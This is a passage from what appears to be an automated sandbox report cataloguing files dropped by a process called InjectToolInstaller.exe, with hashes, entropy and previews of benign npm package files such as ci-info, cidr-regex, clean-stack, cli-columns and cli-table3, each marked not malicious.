Preview:	{. "author": "Isaac Z. Schlueter <i@izs.me> (http://blog.izs.me/)",. "name": "chownr",. "description": "like `chown -R`",. "version": "2.0.0",. "repository": {. "type": "git",. "url": "git://github.com/isaacs/chownr.git". },. "main": "chownr.js",. "files": [. "chownr.js". ],. "devDependencies": {. "mkdirp": "0.3",. "rimraf": "^2.7.1",. "tap": "^14.10.6". },. "tap": {. "check-coverage": true. },. "scripts": {. "test": "tap",. "preversion": "npm test",. "postversion": "npm publish",. "prepublishOnly": "git push origin --follow-tags". },. "license": "ISC",. "engines": {. "node": ">=10". }.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\ci-info\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1086
Entropy (8bit):	5.094125226844261
Encrypted:	false
SSDEEP:	24:bV6rmJHHH0yN3gtsHw1hC09QHOsUv4eOk4/+/m3oqLFh:bV6aJHlxE3dQHOs5exm3ogFh
MD5:	A951D4F63F1AF9937E6AF6D0CEA34E22
SHA1:	32CD9437CB34A9BC5ECF96163AEFBBCE846FC493
SHA-256:	F58943CB354FB2707FEA2F7B26B04E6014DDB56835CDFD414C9D2C6C59165B64
SHA-512:	C0A29ED1FAE9FCB6A434A8B797204F2BDDF123631B04DAB50E8612DDA6970AEB530541189CCE740FB5C3887E9811FA923C6801952F29704D40EC6DD0EA8AF4F8
Malicious:	false
Preview:	The MIT License (MIT)..Copyright (c) 2016 Thomas Watson Steen..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,.OU

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\ci-info\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2368
Entropy (8bit):	4.988539395678311
Encrypted:	false
SSDEEP:	48:d5zExBFv5Acbe8GrEVzwKj5/zBwUZmOi5O7sySGKCJ/DugIzQhq2Ta:d5zExBTAse5wzwKjZzWYy5GSdgIExTa
MD5:	1061D930EBFD02FD8BB01CA34911096A
SHA1:	306147110A81E4D70B7952DEDF1E7F2721B72866
SHA-256:	992625B053FB5EE02D4241F6D92EF19CF362EB0D880257EBAF921876F9814D3C
SHA-512:	8DD5020D7F37E803CC84BBD500BECD1515A88690254C23494343D9F71AA53FEAB1A42C631B93876FB0816EE7AA1CB3499A3DC9927F8FB6F01253D56DF333B647
Malicious:	false
Preview:	'use strict'..const vendors = require('./vendors.json')..const env = process.env..// Used for testing only.Object.defineProperty(exports, '_vendors', {. value: vendors.map(function (v) {. return v.constant. }).})..exports.name = null.exports.isPR = null..vendors.forEach(function (vendor) {. const envs = Array.isArray(vendor.env) ? vendor.env : [vendor.env]. const isCI = envs.every(function (obj) {. return checkEnv(obj). }).. exports[vendor.constant] = isCI.. if (!isCI) {. return. }.. exports.name = vendor.name.. switch (typeof vendor.pr) {. case 'string':. // "pr": "CIRRUS_PR". exports.isPR = !!env[vendor.pr]. break. case 'object':. if ('env' in vendor.pr) {. // "pr": { "env": "BUILDKITE_PULL_REQUEST", "ne": "false" }. exports.isPR = vendor.pr.env in env && env[vendor.pr.env] !== vendor.pr.ne. } else if ('any' in vendor.pr) {. // "pr": { "any": ["ghprbPullId", "CHANGE_ID"] }. exports.isPR = vendor.pr.any.some

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\ci-info\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1023
Entropy (8bit):	4.735242202243651
Encrypted:	false
SSDEEP:	12:S1zxJIsSwK6aR1G+uTq8hOx0D0H0hPQl06PIgGacG1GQQOPwUAjv9JV8lVxXfJ0b:S1zxLJq882ZRUAjF4lfX22RdIL
MD5:	D810AACC802ADC34BA7202F36AD9D8A3
SHA1:	F786741E081A80C1D804BE7E4151957E83231F8B
SHA-256:	9628944ADD57307E56929181423E29814B52DABB36FD5A693784F8AA0A00ADD9
SHA-512:	6A6ED89F90912CD527AC1D0DC897D83825C8C9C442593B4E1F0F2721DF270DB96497B4CD6F1BCCB2202BEBE58807893A00BBA9731D122EF206B6AB040EF99588
Malicious:	false
Preview:	{. "name": "ci-info",. "version": "3.9.0",. "description": "Get details about the current Continuous Integration environment",. "main": "index.js",. "typings": "index.d.ts",. "author": "Thomas Watson Steen <w@tson.dk> (https://twitter.com/wa7son)",. "license": "MIT",. "repository": "https://github.com/watson/ci-info.git",. "bugs": "https://github.com/watson/ci-info/issues",. "homepage": "https://github.com/watson/ci-info",. "keywords": [. "ci",. "continuous",. "integration",. "test",. "detect". ],. "files": [. "vendors.json",. "index.js",. "index.d.ts",. "CHANGELOG.md". ],. "funding": [. {. "type": "github",. "url": "https://github.com/sponsors/sibiraj-s". }. ],. "scripts": {. "lint:fix": "standard --fix",. "test": "standard && node test.js",. "prepare": "husky install". },. "devDependencies": {. "clear-module": "^4.1.2",. "husky": "^8.0.3",. "standard": "^17.1.0",. "tape": "^5.7.0". },. "engines": {.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\ci-info\vendors.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5720
Entropy (8bit):	4.558311572043402
Encrypted:	false
SSDEEP:	48:lPTqBBgobGaWrmaVNaBIJC3tjT/ReomXhVVgSLhK8EmYSmJytyzKWqp3Rgq4GFp3:x2BpcA3t+UWT1/eCvAQnygang6rmRl
MD5:	0E157604A2415657E1C3E4DCC00CD8CC
SHA1:	1ABDBC75DBAC7971C3A5D62F66A322AB0E4E63DE
SHA-256:	81281D54DC7289467C3E1FAE1EFF3655029487F642AB2B74340A65FEED05DD66
SHA-512:	88DDAD25ACC6500AB7DCE88583B1B927E39E829E55B6B2A7FA2FDAE45ADCFDD27A5F3583D01C98DA72702EE263ACE5713815556D786B715D6DA5A26DB00F95E1
Malicious:	false
Preview:	[. {. "name": "Appcircle",. "constant": "APPCIRCLE",. "env": "AC_APPCIRCLE". },. {. "name": "AppVeyor",. "constant": "APPVEYOR",. "env": "APPVEYOR",. "pr": "APPVEYOR_PULL_REQUEST_NUMBER". },. {. "name": "AWS CodeBuild",. "constant": "CODEBUILD",. "env": "CODEBUILD_BUILD_ARN". },. {. "name": "Azure Pipelines",. "constant": "AZURE_PIPELINES",. "env": "TF_BUILD",. "pr": {. "BUILD_REASON": "PullRequest". }. },. {. "name": "Bamboo",. "constant": "BAMBOO",. "env": "bamboo_planKey". },. {. "name": "Bitbucket Pipelines",. "constant": "BITBUCKET",. "env": "BITBUCKET_COMMIT",. "pr": "BITBUCKET_PR_ID". },. {. "name": "Bitrise",. "constant": "BITRISE",. "env": "BITRISE_IO",. "pr": "BITRISE_PULL_REQUEST". },. {. "name": "Buddy",. "constant": "BUDDY",. "env": "BUDDY_WORKSPACE_ID",. "pr": "BUDDY_EXECUTION_PULL_REQUEST_ID". },. {. "name": "Buildkite",. "constant": "BUILDKITE",. "env

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\cidr-regex\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1290
Entropy (8bit):	5.099876496556989
Encrypted:	false
SSDEEP:	24:OUnooLbOOrXIFThJPFTzTf796432s4EOkUTKQROJ32s3yxsITfq3t1olTHv:rOOrXIJPJzF6432svv32s3EsIm3tYHv
MD5:	7676693AA448E7AD480D8ECA57E953D6
SHA1:	081863FDEA26BF5DB6C6348C743F2F12CA27AB72
SHA-256:	23E60503DC06ABF04B9E535E17797B4E0F9224E6C5ABF9207317D5A67C88C743
SHA-512:	347E964C183E7EAAD433F515A3116A46A4404D3E1FFAEB066F6ABB29A9B4595EA71F06B6011F1CCF7F7567994B3E469E481A43C1D7D8B0FEAA95325E60766019
Malicious:	false
Preview:	Copyright (c) silverwind.All rights reserved...Redistribution and use in source and binary forms, with or without.modification, are permitted provided that the following conditions are met:..1. Redistributions of source code must retain the above copyright notice, this. list of conditions and the following disclaimer..2. Redistributions in binary form must reproduce the above copyright notice,. this list of conditions and the following disclaimer in the documentation. and/or other materials provided with the distribution...THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND.ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED.WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE.DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR.ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES.(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\cidr-regex\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	830
Entropy (8bit):	5.238199075989886
Encrypted:	false
SSDEEP:	24:a6a3/u8/uIsODMrcAiDcguD7B/XM0B7V30BgoXw:a+8mxXgTAu0/0M
MD5:	94C659A227D95C8B87EFF48B90ED7940
SHA1:	1F4A8EF7E2F25AAAC3617043CCD1B6225ED58EBB
SHA-256:	C721534A68C11E3FECABFACF3B7C5C23A5CF496F91D01CD160646F3888A89A79
SHA-512:	505A89069F74F56FF5D8BA9A368704A862581A35DE6C83B146398EA31AB568FF89BDABD1A330330420D72F4D23EFB4E7852CA29D3AFC480C888B77332DAD5325
Malicious:	false
Preview:	"use strict";..const ipRegex = require("ip-regex");..const defaultOpts = {exact: false};..const v4str = `${ipRegex.v4().source}\\/(3[0-2]\|[12]?[0-9])`;.const v6str = `${ipRegex.v6().source}\\/(12[0-8]\|1[01][0-9]\|[1-9]?[0-9])`;..// can not precompile the non-exact regexes because global flag makes the regex object stateful.// which would require the user to reset .lastIndex on subsequent calls.const v4exact = new RegExp(`^${v4str}$`);.const v6exact = new RegExp(`^${v6str}$`);.const v46exact = new RegExp(`(?:^${v4str}$)\|(?:^${v6str}$)`);..module.exports = ({exact} = defaultOpts) => exact ? v46exact : new RegExp(`(?:${v4str})\|(?:${v6str})`, "g");.module.exports.v4 = ({exact} = defaultOpts) => exact ? v4exact : new RegExp(v4str, "g");.module.exports.v6 = ({exact} = defaultOpts) => exact ? v6exact : new RegExp(v6str, "g");.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\cidr-regex\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	4.642597194550451
Encrypted:	false
SSDEEP:	12:t1E33pooXGnvHTXxRt7z0JfDsCu1VouPuok/GacG1GHLWD7/cwxR5L0Yu2Q6tCEY:t1E3WvzXxoruduy6TmYul8UsC
MD5:	16E12CE733F07C2C7476A50489B7604A
SHA1:	A2D15050978A7B7152F375947C1608619ADE8293
SHA-256:	2E4CA17DADF5040B598E381C6BEEF7F860AC671957A8E665425306EF793CEF69
SHA-512:	074D975E2AA26119284703F5EB43CD2229B4C5A6BE8978A0E11F12F5599C2F6D3C91E3824BC3F45AC435CD0E1E5B0C10C22872E4A968C6EF57CB789DC8CBA0C6
Malicious:	false
Preview:	{. "name": "cidr-regex",. "version": "3.1.1",. "description": "Regular expression for matching IP addresses in CIDR notation",. "author": "silverwind <me@silverwind.io>",. "contributors": [. "Felipe Apostol <flipjs.io@gmail.com> (http://flipjs.io/)". ],. "repository": "silverwind/cidr-regex",. "license": "BSD-2-Clause",. "scripts": {. "test": "make test". },. "engines": {. "node": ">=10". },. "files": [. "index.js",. "index.d.ts". ],. "keywords": [. "cidr",. "regex",. "notation",. "cidr notation",. "prefix",. "prefixes",. "ip",. "ip address". ],. "dependencies": {. "ip-regex": "^4.1.0". },. "devDependencies": {. "eslint": "7.8.1",. "eslint-config-silverwind": "18.0.8",. "jest": "26.4.2",. "tsd": "0.13.1",. "updates": "10.3.6",. "versions": "8.4.3". }.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\clean-stack\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1055
Entropy (8bit):	5.128687685115816
Encrypted:	false
SSDEEP:	24:13VUh58QPFztkBOXmWkMtLt5g9cQG+I1Pw7YuS:ZVUh5lZkMXmSt59H27FS
MD5:	B72DC7F8AADBE2686AFAD531D6F4CBAD
SHA1:	F6D047626B5DF7A695A0E555F2BA8C78D5E9CDCF
SHA-256:	E813CF7271DF893727BA03028926B2B6C2B45E3357DC99D0688A0074A62F4CEE
SHA-512:	9D462D474415CAA93782564646A2205EE82DBDA85F35627C7341B09275BEAA73F6166608C1A322E4D07384E66CEFA136233FAAAD31AB2D4643E15D75A3B4D786
Malicious:	false
Preview:	'use strict';.const os = require('os');..const extractPathRegex = /\s+at.(?:$\|\s)(.)$?/;.const pathRegex = /^(?:(?:(?:node\|(?:internal\/[\w/]\|.node_modules\/(?:babel-polyfill\|pirates)\/.*)?\w+)\.js:\d+:\d+)\|native)/;.const homeDir = typeof os.homedir === 'undefined' ? '' : os.homedir();..module.exports = (stack, options) => {..options = Object.assign({pretty: false}, options);...return stack.replace(/\\/g, '/')....split('\n')....filter(line => {....const pathMatches = line.match(extractPathRegex);....if (pathMatches === null \|\| !pathMatches[1]) {.....return true;....}.....const match = pathMatches[1];.....// Electron....if (.....match.includes('.app/Contents/Resources/electron.asar') \|\|.....match.includes('.app/Contents/Resources/default_app.asar')....) {.....return false;....}.....return !pathRegex.test(match);...})....filter(line => line.trim() !== '')....map(line => {....if (options.pretty) {.....return line.replace(extractPathRegex, (m, p1) => m.replace(p1, p1.replace(homeDir

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\clean-stack\license

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with very long lines (460)
Category:	dropped
Size (bytes):	1109
Entropy (8bit):	5.0681506929270785
Encrypted:	false
SSDEEP:	24:ar4JHBH0yPP3gtAHw1hl9QHcsUv48Ok4/+dbo3oqxFD:a8JplPvEDvQHcs5ITc3omFD
MD5:	915042B5DF33C31A6DB2B37EADAA00E3
SHA1:	5AAF48196DDD4D007A3067AA7F30303CA8E4B29C
SHA-256:	48DA2F39E100D4085767E94966B43F4FA95FF6A0698FBA57ED460914E35F94A0
SHA-512:	9C8B2DEF76AE5FFE4D636166BF9635D7ABD69CDAC4BF819A2145F7969646D39AE95C96364BC117F9FA544B98518C294233455D4F665AF430C75D70798DD4AB13
Malicious:	false
Preview:	MIT License..Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (sindresorhus.com)..Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHE

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\clean-stack\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	603
Entropy (8bit):	4.716558453844331
Encrypted:	false
SSDEEP:	12:gGv14h39ylnebtKbQ2zyQnN1FGNuHBK3EHx0GqhpZilSYK:Rv14hVwQc8Jpn
MD5:	4FE8F5960E0AE878DDE333676027EC3C
SHA1:	4783E06A89EE21C7109F053235B03211EC87F5AF
SHA-256:	9B4A4A5CC61A09E61AA1CE84BC68C84AEF90ABF9A0280D09214A89189257CA7A
SHA-512:	23E5A449824ACB468572C31EDEF8BDCDD7BD677C3B57EEA94DA5D5D8F334A0794B6459D0AF0A54F58E8D10F24B2BC021BD3BB2622F058527DDC858FC24751EAC
Malicious:	false
Preview:	{.."name": "clean-stack",.."version": "2.2.0",.."description": "Clean up error stack traces",.."license": "MIT",.."repository": "sindresorhus/clean-stack",.."author": {..."name": "Sindre Sorhus",..."email": "sindresorhus@gmail.com",..."url": "sindresorhus.com"..},.."engines": {..."node": ">=6"..},.."scripts": {..."test": "xo && ava && tsd"..},.."files": [..."index.js",..."index.d.ts"..],.."keywords": [..."clean",..."stack",..."trace",..."traces",..."error",..."err",..."electron"..],.."devDependencies": {..."ava": "^1.4.1",..."tsd": "^0.7.2",..."xo": "^0.24.0"..},.."browser": {..."os": false..}.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\cli-columns\color.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	403
Entropy (8bit):	5.156227737960295
Encrypted:	false
SSDEEP:	6:lZEhSMdL4ZACooCdLUY4CRoyndUhaLNVAas6m3E9qgCHwlIVcAJAAyfTAZ:QzJEpqdLUYPRoOdTPxCwCzzyfTi
MD5:	AE5E58AD02E94014E49B0EA3F9A21484
SHA1:	3A9812B96CFE862A8154B680D8A32FA909C9C764
SHA-256:	835431AB4564F5C69ED35A95A2E8B5098E7440F75D553EA33E1444D42E66D682
SHA-512:	F25B0C39F5606992BB02AA8D6686005BD96622E8D47E9B912930AECD0A1EC3090ECEAB4E46FE715A714FBCDD8966FFC6D57A82A48E873B61A0A6CFC35CC7B67A
Malicious:	false
Preview:	const chalk = require('chalk');.const columns = require('.');..// prettier-ignore.const values = [..'blue' + chalk.bgBlue('berry'),..'...' + chalk.yellow('...'),..chalk.red('apple'), 'pomegranate',..'durian', chalk.green('star fruit'),..'......', 'apricot', 'banana',..'pineapple', chalk.bgRed.yellow('orange').];..console.log('');.console.log(columns(values));.console.log('');.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\cli-columns\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1627
Entropy (8bit):	5.015207041797018
Encrypted:	false
SSDEEP:	48:jalQxGAi2nNZVV48iIVyTP4KoJy29JX+HOKb45D32v:ulQQnUPyTQBJCOm45Dmv
MD5:	D5EC4209882F10E04C7C649A0173EAC0
SHA1:	82FACCC37239BC2778392C9F3CC6385810608BF2
SHA-256:	BF594AE91BFC80DE4B489E80B35563E622DC4C9DDECF5E047067B03CC5D4D174
SHA-512:	68EA76F41A9FD1387367C350D986D778F2C68CC393872A803C1470550F14A2377BEE871117021681667146557C3F8CA4320E7EF0ABF64792A5DFBED00DF1CABF
Malicious:	false
Preview:	'use strict';..const stringWidth = require('string-width');.const stripAnsi = require('strip-ansi');..const concat = Array.prototype.concat;.const defaults = {..character: ' ',..newline: '\n',..padding: 2,..sort: true,..width: 0,.};..function byPlainText(a, b) {..const plainA = stripAnsi(a);..const plainB = stripAnsi(b);...if (plainA === plainB) {...return 0;..}...if (plainA > plainB) {...return 1;..}...return -1;.}..function makeArray() {..return [];.}..function makeList(count) {..return Array.apply(null, Array(count));.}..function padCell(fullWidth, character, value) {..const valueWidth = stringWidth(value);..const filler = makeList(fullWidth - valueWidth + 1);...return value + filler.join(character);.}..function toRows(rows, cell, i) {..rows[i % rows.length].push(cell);...return rows;.}..function toString(arr) {..return arr.join('');.}..function columns(values, options) {..values = concat.apply([], values);..options = Object.assign({}, defaults, options);...let cells = values.filter

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\cli-columns\license

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1122
Entropy (8bit):	5.10256445490758
Encrypted:	false
SSDEEP:	24:bCDrOJH7H0yxgtAHw1hC09QHOsUv4tk4/+dpoaq/FD:bCDSJrlxEDdQHOs52TSaYFD
MD5:	01510FC972DCA0E71A6BDA3B07194824
SHA1:	964B87FA5ED104FF9DD13BF3EF32F552EB4E5F1B
SHA-256:	B4C8D681302B783F22B980A224DA87E6074A2517B11F53219DC392F23C5A2A46
SHA-512:	9BFCBFC83DA65C669F826BD8FBAB52718B08CBF88BC4CCB3407F61A90A1049E8BA4082F4A31D272A7E8226C00B66334D2DFB0D9779F117A31C700D8072187490
Malicious:	false
Preview:	The MIT License (MIT)..Copyright (c) Shannon Moeller <me@shannonmoeller.com> (shannonmoeller.com)..Permission is hereby granted, free of charge, to any person obtaining a copy of.this software and associated documentation files (the "Software"), to deal in.the Software without restriction, including without limitation the rights to.use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of.the Software, and to permit persons to whom the Software is furnished to do so,.subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS.FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR.COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER.IN AN ACTION OF CONTRACT,

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\cli-columns\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1054
Entropy (8bit):	4.573352455892314
Encrypted:	false
SSDEEP:	24:e0n15/S2BpSMOcYlvLyOV+tYLj10QWyFT1o2wX:J5/3GxVvLyOA2ugV+2S
MD5:	D814899EEFBE8A5D4CBF6FB8544F3888
SHA1:	06C7CE3D82BA512EAFA34BAB2566BCCE77D4BEB9
SHA-256:	891744A36ECF1B807B47550F752193FAB79289340FD6FB8CA79E0E8CA77A3843
SHA-512:	91F3B9EEEBEE3D6AD3C693B28D446C3B5E65DACD75BE96C38ED45A97A6F6770031C0F303FDCBC6968354C9FB599228553A0A5024456F221F2B830CBFE1FD27B0
Malicious:	false
Preview:	{. "name": "cli-columns",. "version": "4.0.0",. "description": "Columnated lists for the CLI.",. "scripts": {. "lint": "npx eslint --fix '.js' && npx prettier --write '.js'",. "test": "node test.js && node color.js". },. "keywords": [. "ansi",. "cli",. "column",. "columnate",. "columns",. "grid",. "list",. "log",. "ls",. "row",. "rows",. "unicode",. "unix". ],. "author": "Shannon Moeller <me@shannonmoeller> (http://shannonmoeller.com)",. "homepage": "https://github.com/shannonmoeller/cli-columns#readme",. "repository": "shannonmoeller/cli-columns",. "license": "MIT",. "main": "index.js",. "files": [. "*.js". ],. "dependencies": {. "string-width": "^4.2.3",. "strip-ansi": "^6.0.1". },. "devDependencies": {. "chalk": "^4.1.2". },. "engines": {. "node": ">= 10". },. "eslintConfig": {. "extends": "eslint:recommended",. "env": {. "node": true. },. "parserOptions": {. "ecmaVersion": 8.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\cli-columns\test.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	2208
Entropy (8bit):	4.919424089511717
Encrypted:	false
SSDEEP:	48:5D3izEmSKRSPvKRqbMKR4Bi1wiSMKKRCexBi1wGkNk:t3izeK8nKowKyBiwKcsBir
MD5:	1A30A874D7BBAE7EA24FA238160077E7
SHA1:	9BD852905A41F72DFB6C67AA3EAC3E525C5FD490
SHA-256:	CE9BE2E494DEEEADD90DFB74FA0E726E9E9D43652B29CD9498793F5962843FBE
SHA-512:	812C684C07BBA4BA39C6E3E39F81834C5ACE3DB96806082FE1E2BC4476F49D162799C90C0CA4E3F71B45F37BB5339174A067720341B4BCF6E4265BE8F2D1A169
Malicious:	false
Preview:	'use strict';..const assert = require('assert');.const chalk = require('chalk');.const stripAnsi = require('strip-ansi');.const columns = require('./index.js');.const tests = [];..function test(msg, fn) {..tests.push([msg, fn]);.}..process.nextTick(async function run() {..for (const [msg, fn] of tests) {...try {....await fn(assert);....console.log(`pass - ${msg}`);...} catch (error) {....console.error(`fail - ${msg}`, error);....process.exit(1);...}..}.});..// prettier-ignore.test('should print one column list', t => {..const cols = columns(['foo', ['bar', 'baz'], ['bar', 'qux']], {...width: 1..});...const expected =...'bar\n' +...'bar\n' +...'baz\n' +...'foo\n' +...'qux';...t.equal(cols, expected);.});..// prettier-ignore.test('should print three column list', t => {..const cols = columns(['foo', ['bar', 'baz'], ['bat', 'qux']], {...width: 16..});...const expected =...'bar baz qux \n' +...'bat foo ';...t.equal(cols, expected);.});..// prettier-ignore.test('should print complex li

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\cli-table3\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1102
Entropy (8bit):	5.137293024091038
Encrypted:	false
SSDEEP:	24:xrmJHHH0yN3gtsHw1hC09QHOsUv4eOk4/+/m3oqLFh:xaJHlxE3dQHOs5exm3ogFh
MD5:	EDD644ABC2B3CFC24845957CB7424B35
SHA1:	B4676F230F4EEAD0C6F2CC6F00B0D03296B3B6BD
SHA-256:	BEB6B55BC79E0660B9FD8424C2F65C966991E1A866C23356C1427E146C6CDDEA
SHA-512:	F5C47E191CF6E731A5CF70B1DDB25889BD35D4822AC56234D33DA8D5B6D3AA0CCA92DD4965181A4FFF5F062B83FAF5FDF9626A223D9BEFD922DF4F43A619DB0F
Malicious:	false
Preview:	MIT License..Copyright (c) 2014 James Talmage <james.talmage@jrtechnical.com>..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\cli-table3\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.381687083026441
Encrypted:	false
SSDEEP:	3:3BBBbJA:xBBy
MD5:	4D6C72B84F5D74832A4A4BBBCFF5BF83
SHA1:	5A97DDE82697EC9EC45B2383CF6C17C3CE6ABEA3
SHA-256:	0FE175D9ABEBF8107D8010CA639651BE92305CAF276E9F4E92089D8F30D6E74C
SHA-512:	95C94742DE2901225DFDFEE0AFF149C72DFD7AC193334384C7D787577E14B75842A5132759BABF333E9C12012FBE76BDE2CD5BA19703A210EC2D0071CA1E9469
Malicious:	false
Preview:	module.exports = require('./src/table');

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\cli-table3\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2295
Entropy (8bit):	4.5965055316074395
Encrypted:	false
SSDEEP:	48:TSpZToMKhKNZbu1vrERpqCLY4oqo+mUasa6pgj:yZTFKOud6XLYR42og
MD5:	1AD1737580EBC38D46E4457E14569961
SHA1:	34BC67DEFE25DC09FA5A0C320F62997132EE670F
SHA-256:	CC1482AFEF4687C00713C8B984A6ECCDCC7AFAD79811ED0CE585EFA1CB998B38
SHA-512:	17A91A9FD492D16113185CCEC62238EA21DDC5CAECEE1F764C3CEC58E861B4A69E2CD185CC22166B6A35717ECE3E328E8AE5480713B6D20A78CE274D70804B84
Malicious:	false
